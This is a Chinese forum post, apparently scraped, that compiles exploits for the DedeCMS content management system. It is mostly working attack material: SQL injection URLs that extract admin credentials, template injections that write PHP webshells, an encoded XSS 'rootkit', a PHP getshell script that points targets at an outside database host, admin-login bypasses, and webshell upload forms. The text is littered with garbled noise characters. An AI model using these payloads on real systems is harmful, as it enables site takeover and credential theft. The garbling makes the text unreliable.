dedecms漏洞总结

admin

+ |0 u8 a7 }; l$ Q; v" k- }Dedecms 5.6 rss注入漏洞
0 `' {' s$ z' s; Fhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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DedeCms v5.6 嵌入恶意代码执行漏洞
' h8 x, C% Z! j+ h& b注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
4 ~2 x" |4 y; f( s5 s% d- Y4 r发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
# t' z3 e+ e2 N生成x.php 密码xiao，直接生成一句话。


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$ S2 C8 d% [( ^3 m' m, mDede 5.6 GBK SQL注入漏洞
" P, G. w" k, W2 shttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
; D% z7 m' @# }5 Jhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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7 f& z$ [+ @7 o) cDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
. O# U7 ?5 x! g% S8 @% J, J( Thttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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9 ]; v# t+ z, c8 ]DEDECMS 全版本 gotopage变量XSS漏洞
0 L+ O2 v* t5 T' x$ z9 V. [1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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0 y2 T" R& v. n$ K* F5 z7 o1 ~# G! N2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
' `, c  ~( F% H6 Z/ d" {% Dhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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http://v57.demo.dedecms.com/dede/login.php
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color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
( `& E! Y7 U& ?# q+ a) [  t) Bprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
% g' w  r! ^! R$ @. M1 Eif($argv[2]==null){
  k7 m/ K/ X3 zprint_r('
! |7 T# Q' j" h4 D+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
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');
- t6 n: {* y: l% ?7 `4 U: K0 U' `exit;
}
+ w8 R6 `9 t4 O+ ?0 `( A6 F$url=$argv[1];
$aid=$argv[2];
' X4 t4 V. e/ O( D/ M. F# }$ v$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
: w8 k9 P3 x$ ^/ \; u: {, _& jExploit Success \n";
1 \3 |: `) ~- T7 [1 dif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

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if($aid==2)echo "
  J# k, z6 n% ^* p% @3 R: dShell:".$url."/$path/fuck.php\n" ;

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2 x+ Y* q" F) I- Aif($aid==3)echo "
" `2 E- r$ }  v2 r. l' _* yShell:".$url."/$path/plus/fuck.php\n";

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}else{
echo "
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}
function Getshell($url,$aid,$path){
2 `6 u' H) K, `; E$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
& ]7 }: @# G$ K: t$data .= "Host: ".$host."\r\n";
, I" T+ r  N* v2 X: \0 H1 U% Q$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
! f% S3 J/ ]3 r0 u/ @8 C1 g. \$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
# q9 D0 @% ^$ ^$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 O- ]2 l2 J8 Z$ v5 m3 H$ S: A# l: m$data .= $content."\r\n";
) ]+ m" \3 j# X( D$ W* o: p$ock=fsockopen($host,$port);
! d! S* S9 z( B7 K$ P. A" Gif (!$ock) {
echo "
No response from ".$host."\n";
}
/ P9 e. t- l! C  g9 O* a; {& T3 Afwrite($ock,$data);
while (!feof($ock)) {
, Q" v% a0 E' F$ X$exp=fgets($ock, 1024);
return $exp;
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?>



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5 w1 w4 I2 j) N3 a5 J& f2 ?5 IDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


0 e  y0 i  J! }% N3 W# F& g% r把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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( a9 M3 m' n' L* Z此漏洞的前提是必须得到后台路径才能实现


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Dedecms织梦 标签远程文件写入漏洞
+ K4 N" E6 i" h; d前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
' q  b  g) p9 t" S6 |* v<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
! n- d" f: O' n- Q<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
$ r4 O3 Q3 |: U. z- Y4 u<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
3 a- v1 X" s" u/ |. _+ W0 Z8 ^<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
3 t1 [3 m7 {( K: S& `9 U5 S<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
9 Z  |; U$ w! \" @$ s5 D</form>
: m1 O7 k4 P- u1 M& ~<script>
function addaction()
{
+ v( p; a. s/ ]( ydocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
2 k) @4 L0 r, g0 x% S</script>






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DedeCms v5.6 嵌入恶意代码执行漏洞
8 F" D0 O7 R9 M6 v5 z注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
" C; R( y$ ?& S+ p5 u生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
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: ^+ K( k. W8 x% f  D5 Y模板内容是（如果限制图片格式，加gif89a）：
0 g9 g/ e& F; Y6 m2 K4 C2 @& \{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
- ]+ |; \& |! C5 Y@fclose($fp);
, ]0 x6 b% M' V! |* l{/dede:name}
' v$ F7 Y3 f0 q" p! |2 修改刚刚发表的文章，查看源文件，构造一个表单：
  N; h' t6 B$ |0 ?/ h5 V! G& V<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
( s6 }9 k  x2 G<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
& M/ ~0 I" o" V" X9 |4 B  a5 O8 N7 G<input type="hidden" name="sortrank" value="1275972263" />
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<div id="mainCp">
0 i; V) ?# z* o2 Z$ M$ h; D<h3 class="meTitle"><strong>修改文章</strong></h3>


<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

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<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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) {* l0 d3 N2 p. k<label>隶属栏目：</label>
% s/ Z" b- o% B+ q" t1 o<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
( Q- V1 S: ~' b, Z9 T. Y2 u, f+ H<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
0 Y% L  G6 m& h/ n& q<option value='1' class='option3' selected>hahahha</option>
. I8 ]" V0 ^" b) x</select>
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$ R( \. E; f, Z<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
5 V6 W+ q  w& l% \4 ?2 s+ Q(内容的简要说明)


8 n4 ]9 m4 S5 i$ \<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

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<input type='text' name='templet'
9 H: W* V8 T7 m/ Q4 e* uvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
: A' p$ {9 \. |' Cvalue="templet,htmltext;">（这里构造）
+ Z, [) q% d& O( `+ K( U3 ?</div>

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<!-- 表单操作区域 -->
0 U0 ~4 S$ O& i<h3 class="meTitle">详细内容</h3>
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<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

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0 [+ Q, _* P5 ^' s2 \5 ^<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
" l7 _7 X6 B. H- S+ ^7 s</div>
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7 i: n7 x0 T8 X2 L6 f, K: Q( @0 {</div>

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4 E" J+ R8 X. J" \</form>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
  t$ x$ e% Q% j& p$ @假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
% P; N5 N# ?4 l# G* L1 [, t即可以在plus目录下生成webshell：1.php
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. l# a6 {4 W. w5 ADEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
( v: s/ Z  f0 L4 o$ s4 D- jGif89a{dede:field name='toby57' runphp='yes'}
& X6 B+ ^$ O  \0 g9 \4 _, k9 Aphpinfo();
{/dede:field}
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4 J8 l9 @8 E' I2 ~" Q6 T8 F" }<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
; I% ]) d2 E9 O/ @6 E: [$ r" z3 H<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
/ \+ h2 n9 S5 V9 F. l, @) _<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
$ Y" f. `! k+ Z0 j% ~5 C/ ]: P<button class="button2" type="submit" >更改</button>
</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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6 s3 u; Q- [$ C6 {<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
0 H; B9 I- [" N8 |7 o<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
5 d; ]# ?, h* u7 R<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
4 F9 H6 H6 y" c3 X1 l# s<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
3 {3 W- r1 _% [! h<select name='mtypesid' size='1'>
" V' V1 D8 f. Y# }7 r<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
) ^5 w' n7 l+ k  a1 r0 Z$ u<input type='hidden' name='dede_addonfields' value="templet">
  h5 u8 I2 t4 A" ?# ]5 y- j<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
( e+ u# U9 A/ D<button class="button2" type="submit">提交</button>
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织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
4 d4 Y8 M$ n. t1 v! [5 L6 k# Fplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
: c& }3 \2 Q' a: ?密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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8 _' U9 J  t6 O" @织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
5 p! K( g5 u3 G: I% O6 }" Ahttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
: v3 y% b% D% i( a! G* T- X<head>
0 V) X# V# L8 v/ w2 ^# `<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
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<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
% S/ C6 p5 F8 S% b+ y8 a. ^<input type='hidden' name='activepath' value='/data/cache/' />
4 J7 p5 M( V+ D* i3 z& h/ }<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
& |( ^6 C# W: E' A) Z<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
8 Y0 D/ r! j6 G( S0 W( ^  F<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
# b! q8 r# F, Y8 Y# z<input type='hidden' name='job' value='upload' />
: j% b/ V3 x8 C# ~/ h3 u& G( n<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
6 t! D3 |0 C, |: T* W<br />It's just a exp for the bug of Dedecms V55...<br />
+ l7 |4 f: P  U/ y; e4 INeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
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; j6 c/ V, z! `7 |0 U- p1 s织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
. y1 L. G! K/ _' d' M6 V4 Z1. 访问网址：
  D( q1 ^( ~9 v. a0 t6 L. ihttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
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Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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按确定后的看到第2步骤的信息表示文件木马上传成功.
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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
) Q0 J- e& e( p$ D) Ehttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*